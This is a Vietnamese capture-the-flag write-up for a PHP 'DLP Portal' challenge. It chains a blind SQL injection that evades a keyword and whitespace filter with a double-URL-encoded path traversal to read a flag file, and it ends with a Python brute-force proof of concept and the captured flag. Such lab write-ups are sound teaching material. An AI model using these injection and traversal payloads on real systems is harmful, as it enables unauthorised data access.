Cuối cùng là lưu nội dung vào với filename là `Q2-incident-raw.csv` còn `storage_path` là path-flag -> lúc này trong đầu mình đã liên tưởng để SQL injection để đọc file path sau đó có một lỗ hổng nào kiểu file inclusion hoặc pathtraversal để đọc file flag - or maybe rce.

Cùng quan sát trong database có những bảng gì:

:::spoiler 001_schema.sql
```sql
CREATE TABLE users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  username VARCHAR(64) UNIQUE,
  password_hash VARCHAR(255) NOT NULL
);

CREATE TABLE cases (
  id INT PRIMARY KEY AUTO_INCREMENT,
  title VARCHAR(255),
  owner_id INT,
  FOREIGN KEY (owner_id) REFERENCES users(id)
);

CREATE TABLE audit_logs (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  ip VARBINARY(16),
  ua VARCHAR(255),
  at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

CREATE TABLE attachments (
  id INT PRIMARY KEY AUTO_INCREMENT,
  case_id INT NOT NULL,
  filename VARCHAR(255) NOT NULL,
  storage_path VARCHAR(512) NOT NULL,
  is_lost TINYINT(1) NOT NULL DEFAULT 0,
  FOREIGN KEY (case_id) REFERENCES cases(id)
);
```
:::


Ta thấy chỉ có 3 bảng và bảng `attachments` có lẽ là mục tiêu của ta - maybe sqli(nếu chưa đọc code còn lại).

```sql
INSERT INTO users(username, password_hash)
VALUES ('demo', '$2y$10$7z49YH3j3Jr7c8s2G1hQte8xqA1xjvUQKQpJ9f8rPJ5Edbu1X8Hs6');

INSERT INTO cases(title, owner_id) VALUES
('Quarterly Incident Review', 1),
('PCI Audit', 1);
```

sau đó là một vài giá trị blabla được chèn vào các bảng kia - chưa có gì đặc biệt lắm.

Đến với mã nguồn của index.php:

:::spoiler index.php
```php
<?php require __DIR__ . '/lib/util.php'; ?>
<!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <title>DLP Portal</title>
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <style>
    body {
        font-family: system-ui, Segoe UI, Roboto, Arial, sans-serif;
        background: #0f172a;
        color: #e2e8f0;
        margin: 0
    }

    .container {
        max-width: 960px;
        margin: 40px auto;
        padding: 0 16px
    }

    .card {
        background: #111827;
        border: 1px solid #1f2937;
        border-radius: 12px;
        padding: 20px;
        margin-bottom: 16px
    }

    h1 {
        font-weight: 700;
        margin: 0 0 8px
    }

    .nav {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
        gap: 16px;
        margin-top: 16px
    }

    a.tile {
        display: block;
        background: #0b1220;
        border: 1px solid #1f2937;
        border-radius: 12px;
        padding: 18px;
        text-decoration: none;
        color: #cbd5e1
    }

    a.tile:hover {
        border-color: #334155;
        background: #0e172a
    }

    .small {
        color: #94a3b8;
        font-size: 13px
    }

    .badge {
        display: inline-block;
        background: #1e293b;
        border: 1px solid #334155;
        border-radius: 8px;
        padding: 2px 8px;
        margin-left: 8px;
        font-size: 12px
    }
    </style>
</head>

<body>
    <div class="container">
        <div class="card">
            <h1>DLP Portal</h1>
            <div class="small">Logged in as <b><?=h($_SESSION['username'])?></b></div>
            <p class="small">Mission: locate a "lost attachment" and export the right file.</p>
        </div>

        <div class="nav">
            <a class="tile" href="/cases.php">
                <div>Cases Search</div>
                <div class="small" title="Exports are under /var/log/app/">Search title… (Hint inside)</div>
            </a>

            <a class="tile" href="/attachments.php">
                <div>Attachment</div>
                <div class="small">Shows "lost" status only (no direct download)</div>
            </a>

            <a class="tile" href="/export-ui.php">
                <div>Export Logs</div>
                <div class="small">Only <code>.log</code> or <code>.txt</code> files are allowed</div>
            </a>
        </div>
    </div>
</body>

</html>
```
:::

ở đây có 3 path: `<a class="tile" href="/export-ui.php">`, `<a class="tile" href="/attachments.php">` và `<a class="tile" href="/cases.php">` tương ứng với tên các file trong project.

Còn file `util.php` cũng không có gì đặc biệt nên mình không nhắc đến ở đây:

Tại file `case.php`:

:::spoiler case.php
```php
<?php require __DIR__ . '/lib/util.php'; ?>
<!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <title>Cases</title>
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <style>
    body {
        font-family: system-ui, Segoe UI, Roboto, Arial, sans-serif;
        background: #0f172a;
        color: #e2e8f0;
        margin: 0
    }

    .container {
        max-width: 960px;
        margin: 40px auto;
        padding: 0 16px
    }

    .card {
        background: #111827;
        border: 1px solid #1f2937;
        border-radius: 12px;
        padding: 20px;
        margin-bottom: 16px
    }

    input[type=text] {
        width: 100%;
        padding: 12px 14px;
        border-radius: 10px;
        border: 1px solid #334155;
        background: #0b1220;
        color: #e2e8f0
    }

    button {
        padding: 10px 14px;
        border-radius: 10px;
        background: #1d4ed8;
        border: 0;
        color: #e2e8f0
    }

    .result {
        margin-top: 12px;
        font-size: 14px;
        color: #cbd5e1
    }

    .small {
        color: #94a3b8;
        font-size: 13px
    }
    </style>
</head>

<body>
    <div class="container">
        <div class="card">
            <h2>Cases Search</h2>
        </div>
        <p class="small">Type a keyword to search title…</p>
        <input id="q" type="text" placeholder="Search title…">
        <div style="margin-top:10px">
            <button onclick="doSearch()">Search</button>
        </div>
        <div id="out" class="result"></div>
    </div>
    <a class="small" href="/">← Back</a>
    </div>

    <script>
    async function doSearch() {
        const q = document.getElementById('q').value || '';
        const r = await fetch('/api/search.php?q=' + encodeURIComponent(q));
        const j = await r.json();
        let t = '';
        if (j.ok) {
            t = "Found case id: <b>" + j.id + "</b>";
        } else {
            t = "No result.";
        }
        document.getElementById('out').innerHTML = t;
    }
    </script>
</body>

</html>
```
:::

ở đây có một chức năng khá quen thuộc là tìm kiếm với `fetch('/api/search.php?q=' + encodeURIComponent(q));` - phải chăng sql injection đâu đó quanh đây.

### 1: SQL injection bypass filter in /api/search

```php
<?php
declare(strict_types=1);
require __DIR__ . '/../lib/util.php';
require __DIR__ . '/../lib/db.php';

header('Content-Type: application/json');

$q = $_GET['q'] ?? '';

$q2 = preg_replace('/\s+/u', '', $q);
$q2 = preg_replace('/\b(?:or|and)\b/i', '', $q2);
$q2 = str_ireplace(["union","load_file","outfile","="], '', $q2);
$filtered = $q2;

if (strlen($filtered) > 90) {
    echo json_encode(['ok' => false]);
    exit;
}

$sql = "SELECT id,title FROM cases WHERE title RLIKE '.*$filtered' AND owner_id = :uid LIMIT 1";

$stmt = $pdo->prepare($sql);
$stmt->execute([':uid' => $_SESSION['uid'] ?? 1]);
$row = $stmt->fetch();

usleep(random_int(1500, 5000));

echo json_encode(['ok' => (bool)$row]);
```

Đúng như dự đoán biến `$filtered` được truyền nối chuỗi vào câu lệnh sql -> có khả năng SQL vì còn vướng filter nữa


Query `q` được truyền vào:

```php
$q2 = preg_replace('/\s+/u', '', $q);  // match khoảng trắng (\s = space, tab, xuống dòng...) trong chuỗi $q -> thay thế bằng ''
$q2 = preg_replace('/\b(?:or|and)\b/i', '', $q2); // xóa toàn bộ từ "or" và "and" case-insensitive
$q2 = str_ireplace(["union","load_file","outfile","="], '', $q2); // thay thế "union", "load_file", "outfile", "=" thành ''
$filtered = $q2;
```

-> Sau khi tạo sql xong thì query rồi lấy ra số row -> rồi chỉ in ra true nếu có hoặc false nếu không có row nào

Để ý đoạn `usleep(random_int(1500, 5000));` chỉ sleep 1.5 ms → 5 ms (mili-giây) -> có vẻ không ảnh hưởng gì đến code.

-> Như này thì ta có thể sql injection được vì replace khá là hạn chế -> và vả lại còn không replace đệ quy nữa điểm cần chú ý thêm ở đây là `strlen($filtered) > 90` thì mới được.

Vậy sql injection được thì làm gì trong khi chỉ tìm được path của flag -> chắc chắn còn bug khác ở đâu đó.

:::spoiler docker-compose.yml
```dockerfile
version: '3.8'

services:
  db:
    image: mysql:8.2
    container_name: db
    environment:
      MYSQL_DATABASE: casetrack
      MYSQL_USER: ctf
      MYSQL_PASSWORD: ctfpass
      MYSQL_ROOT_PASSWORD: rootpass
    command: [
      "--sql-mode=STRICT_TRANS_TABLES,NO_ZERO_DATE,NO_ZERO_IN_DATE,ERROR_FOR_DIVISION_BY_ZERO"
    ]
    volumes:
      - ./db/init:/docker-entrypoint-initdb.d

  web:
    build: ./web
    container_name: web
    ports:
      - "8081:80"
    restart: unless-stopped
    volumes:
      - ./web/src/:/var/www/html/
      - ./flags:/var/data/flags
      - ./logs:/var/log/app
    depends_on:
      - db
    environment:
      - DB_HOST=db
      - DB_NAME=casetrack
      - DB_USER=ctf
      - DB_PASS=ctfpass
      - XDEBUG_MODE=debug
      - XDEBUG_CONFIG=client_host=host.docker.internal client_port=9003
    extra_hosts:
      - "host.docker.internal:host-gateway"
```
:::

Ta có thể thấy 2 service db-mysql và php hoàn toàn nằm khác chỗ nhau cho nên nếu mà `outfile` hoặc `load_file` thì cao lắm cũng chỉ rce được db service.

Còn 2 path còn lại `/attachments.php` thì không có gì còn ta sẽ thấy hope khi mở `/export-ui.php`


### 2: File export-ui.php

:::spoiler export-ui.php
```php
<?php require __DIR__ . '/lib/util.php'; ?>
<!doctype html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <title>Export Logs</title>
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <style>
    body {
        font-family: system-ui, Segoe UI, Roboto, Arial, sans-serif;
        background: #0f172a;
        color: #e2e8f0;
        margin: 0
    }

    .container {
        max-width: 960px;
        margin: 40px auto;
        padding: 0 16px
    }

    .card {
        background: #111827;
        border: 1px solid #1f2937;
        border-radius: 12px;
        padding: 20px;
        margin-bottom: 16px
    }

    input[type=text] {
        width: 100%;
        padding: 12px 14px;
        border-radius: 10px;
        border: 1px solid #334155;
        background: #0b1220;
        color: #e2e8f0
    }

    button {
        padding: 10px 14px;
        border-radius: 10px;
        background: #1d4ed8;
        border: 0;
        color: #e2e8f0
    }

    .small {
        color: #94a3b8;
        font-size: 13px
    }

    code {
        background: #0b1220;
        padding: 2px 6px;
        border-radius: 6px;
        border: 1px solid #1f2937
    }
    </style>
</head>

<body>
    <div class="container">
        <div class="card">
            <h2>Export Logs</h2>
            <p class="small">Only <code>.log</code> or <code>.txt</code> files are allowed. Base directory:
                <b>/var/log/app/</b></p>
            <form method="get" action="/export.php">
                <input name="file" type="text" placeholder="e.g. app.log">
                <div style="margin-top:10px">
                    <button type="submit">Download</button>
                </div>
            </form>
        </div>
        <a class="small" href="/">← Back</a>
    </div>
</body>

</html>
```
:::

Chỉ có chức năng get đến `/export.php` với query file.

### 3: Path traversal read file trong /export.php

```php
<?php
declare(strict_types=1);

$base = '/var/log/app/';

$file = $_GET['file'] ?? 'app.log';

while (str_contains($file, '../')) {
    $file = str_replace('../', '', $file);
}

if (!preg_match('/\.(log|txt)$/i', $file)) {
    http_response_code(400);
    exit('bad ext');
}

$file2 = urldecode($file);
$path  = $base . $file2;

$real = realpath($path);
if ($real !== false && str_starts_with($real, $base)) {
    @readfile($real);
    exit;
}

if (str_starts_with($path, $base)) {
    @readfile($path);
} else {
    http_response_code(403);
    echo 'forbidden';
}
```

Nhìn như này là mình thấy hướng của bài này là sql injection kia rồi đọc file ở đây rồi.

`file` param được đưa vào xử lý và thay thế đệ quy kí tự `../` thành `''` và chỉ cho phép đuôi file `.txt` và `.log` -> ở đây match regex cho nên đuôi flag-{uuid}.txt của ta vẫn thỏa mãn.

Sau đó nó lại `$file2 = urldecode($file);` -> tạo `$path  = $base . $file2;`

Sau dùng `$real = realpath($path);` hàm này sẽ trả về đường dẫn tuyệt đối của $path, nó sẽ giải ./.., theo dõi symlink, và trả về đường dẫn tuyệt đối.

https://www.php.net/manual/en/function.realpath.php

Ví dụ:

![image](https://hackmd.io/_uploads/Sk4qsg3nxl.png)


Nếu file/đường dẫn không tồn tại thì realpath() trả false.

```php
$real = realpath($path);
if ($real !== false && str_starts_with($real, $base)) {
    @readfile($real);
    exit;
}
```

và nếu tồn tại $real cùng với đường dẫn bắt đầu bằng `$base = '/var/log/app/';` thì đó đọc file và exit.

Nếu không vào if thì tức là $real không tồn tại hoặc nó không bắt đầu bằng `/var/log/app/` thì tiếp tục kiểm tra:

```php
if (str_starts_with($path, $base)) {
    @readfile($path);
} else {
    http_response_code(403);
    echo 'forbidden';
}
```
ở đây nó check `$path  = $base . $file2;` tức là giá trị trước khi mà chạy `realpath` mà nó bắt đầu bằng `/var/log/app/` thì đọc file đó.

ở đây ta muốn đọc file thì có 2 nơi:

- Một là đọc bằng đường dần tuyệt đối + check bắt đầu bằng `/var/log/app/` mà flag nằm ở `/var/data/flags` thì khá "khó" trong trường hợp này.

- 2 là để cho `realpath` trả về false hoặc `realpath` không bắt đầu bằng `/var/log/app/` -> thì nó check đoạn dưới cho $path(có thể là đường dẫn tương đối chứa `./`, `../`) và phải bắt đầu bằng `/var/log/app/`

1. Bypass đoạn `../` thì mình chỉ cần url encode đường query file thêm 1 lần.
2. Bypass check dưới -> real path chỉ cần cho nó không bắt đầu bằng `/var/log/app/` là ok

=> Gom lại ta được:

![image](https://hackmd.io/_uploads/rkeGgZh3gg.png)

*Debug*:

![2](https://hackmd.io/_uploads/By9UZZhhel.png)

![3](https://hackmd.io/_uploads/HyPhZW2hex.png)

![4](https://hackmd.io/_uploads/SJJ6bZnhll.png)

Có thể thấy 2 điều ta nói đã được thực hiện -> read-flag.

---
---

![image](https://hackmd.io/_uploads/rkv4BWnhll.png)

Ngoài ra ta cũng có thể dùng:

![image](https://hackmd.io/_uploads/ryigUW23lg.png)

`'/var/log/app//var/log/app/../../../../../../var/data/flags/flag-6fa96dbe-a216-4b53-923c-0560414527ff.txt'` giá trị này sẽ được coi là 6 cấp của thư mục nên dùng 6 lần `../` để lùi về root `readfile` sẽ chuẩn hóa `//` thành `/` nên vẫn hợp lệ.

Và đoạn:

```php
if ($real !== false && str_starts_with($real, $base)) {
    @readfile($real);
    exit;
}
```

sẽ được nhảy qua về $real trả về false vì `/var/log/app//var/log/app/` không tồn tại.


Đoạn với đến flag đã thành công giờ thì quay trở lại đoạn lấy ra đường dẫn trong database: col `storage_path` table `attachments`

Nhắc lại phần phía trên.

```php
$q2 = preg_replace('/\s+/u', '', $q);  // match khoảng trắng (\s = space, tab, xuống dòng...) trong chuỗi $q -> thay thế bằng ''
$q2 = preg_replace('/\b(?:or|and)\b/i', '', $q2); // xóa toàn bộ từ "or" và "and" case-insensitive
$q2 = str_ireplace(["union","load_file","outfile","="], '', $q2); // thay thế "union", "load_file", "outfile", "=" thành ''
$filtered = $q2;
```

vì `'` không bị chặn nên ta có thể dùng để thoát chuỗi, `union` cũng vậy cho nên ta sẽ dùng and để check điều kiện. Và `and` cũng chặn cho nên ta có thể dùng `&&` để thay thế:

![image](https://hackmd.io/_uploads/SyVKwbh3ex.png)

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Và `strlen($filtered) > 90)` nên mình sẽ đi tìm những kí tự ngắn nhất có thể.

Comment lại toàn bộ phía sau thì dùng `#` để ngắn nhất: đươn nhiên là dùng `-- -` cũng được mà dài quá

Sau khi and xong thì sẽ check với sleep thử:

![image](https://hackmd.io/_uploads/By2KK-hngg.png)

![image](https://hackmd.io/_uploads/H1qitZh3xx.png)

Thành công sleep -> bây giờ ta sẽ tìm cách bypass space:

![image](https://hackmd.io/_uploads/rJKRYW32lg.png)

Để ngắn thì ở đây mình dùng `/**/`:

![5](https://hackmd.io/_uploads/S186q-n3ee.png)

Thêm vào trước `&&` để tách chuỗi cách biệt ra.

![image](https://hackmd.io/_uploads/ByOBoWh2ge.png)

![image](https://hackmd.io/_uploads/Hy6Yib23lx.png)

Ok -> giờ thì điều kiện đã như ý muốn của ta -> giờ ý muốn là sẽ brute-force giá trị của bảng này, và vì mình chỉ thấy có một bản ghi nằm trong `attachments` là của flag được insert thôi cho nên không cần limit làm gì cho đỡ dài.

Vì `=` bị loại bỏ cho nên ta có thể dùng các toán tử và các từ khác như:

![image](https://hackmd.io/_uploads/ByjUh-2ngx.png)

ở đây dùng `<` cho ngắn và so sánh chuyển thành ascii với `ASCII` đối số `SUBSTR`, này thì vẫn dài ta có thể đổi thành LIKE để đỡ tốn ASCII() - 6 kí tự, và có thể dùng MID thay substring:

![image](https://hackmd.io/_uploads/S14xTW2hxl.png)

Ok vậy là mọi việc đã xong:

POC:

```python
import requests, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxy = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

uuid_flag = ""
for i in range(1, 70):
    for j in range(45, 123):
        import requests

        burp0_url = f"https://dlp.wargame.vn/api/search.php?q='/**/%26%26(select/**/ASCII(SUBSTR(storage_path,{i},1))/**/from/**/attachments)<{j}%23"
        burp0_cookies = {"session_id": "6009440a9b0f0e3f4bc635720e90f444c7188b04",
                         "PHPSESSID": "1026ea1057c5f5f36dffa846bd748137"}

        r = requests.get(burp0_url, cookies=burp0_cookies, proxies=proxy)
        if "true" in r.text:
            uuid_flag += chr(j-1)
            print(uuid_flag)
            break

print("Result:", uuid_flag)
```
:::info
Vì là brute force cho nên mấy cái kí tự đầu của path ta biết rồi thì có thể tăng lên để đỡ mất time trong thời gian thi.
:::

Có thể thay thành như mình nói ở trên - nếu mà trong bảng `attachments` có nhiều bản ghi hơn thì để thêm limit thì ta buộc phải dùng mấy cái đó mà do này đủ rồi nên mình không sửa lại nữa (cũng có thể thay `&&` thành `||`).

![image](https://hackmd.io/_uploads/r1S4AWnhlg.png)

![image](https://hackmd.io/_uploads/r1Ir0b23ee.png)

Chuẩn rồi -> giờ đem đi bem trên server thôi.

Oh no trên server thì db down rồi:

![image](https://hackmd.io/_uploads/r1vvkGhhgg.png)

Mọi người tự test lại nhé ``¯\_(ツ)_/¯``

Trước khi mình brute được vẫn lưu -> readflag:

![image](https://hackmd.io/_uploads/rkCOBM22el.png)

![image](https://hackmd.io/_uploads/HJ-3BMh2le.png)

flag: `KMACTF{i'M_bL1nd_bUt_u_'r3_Sm4rZZZZ}`


------

**Cảm ơn mọi người đã đọc đến đâyyy ---- Hết rồi -----**

------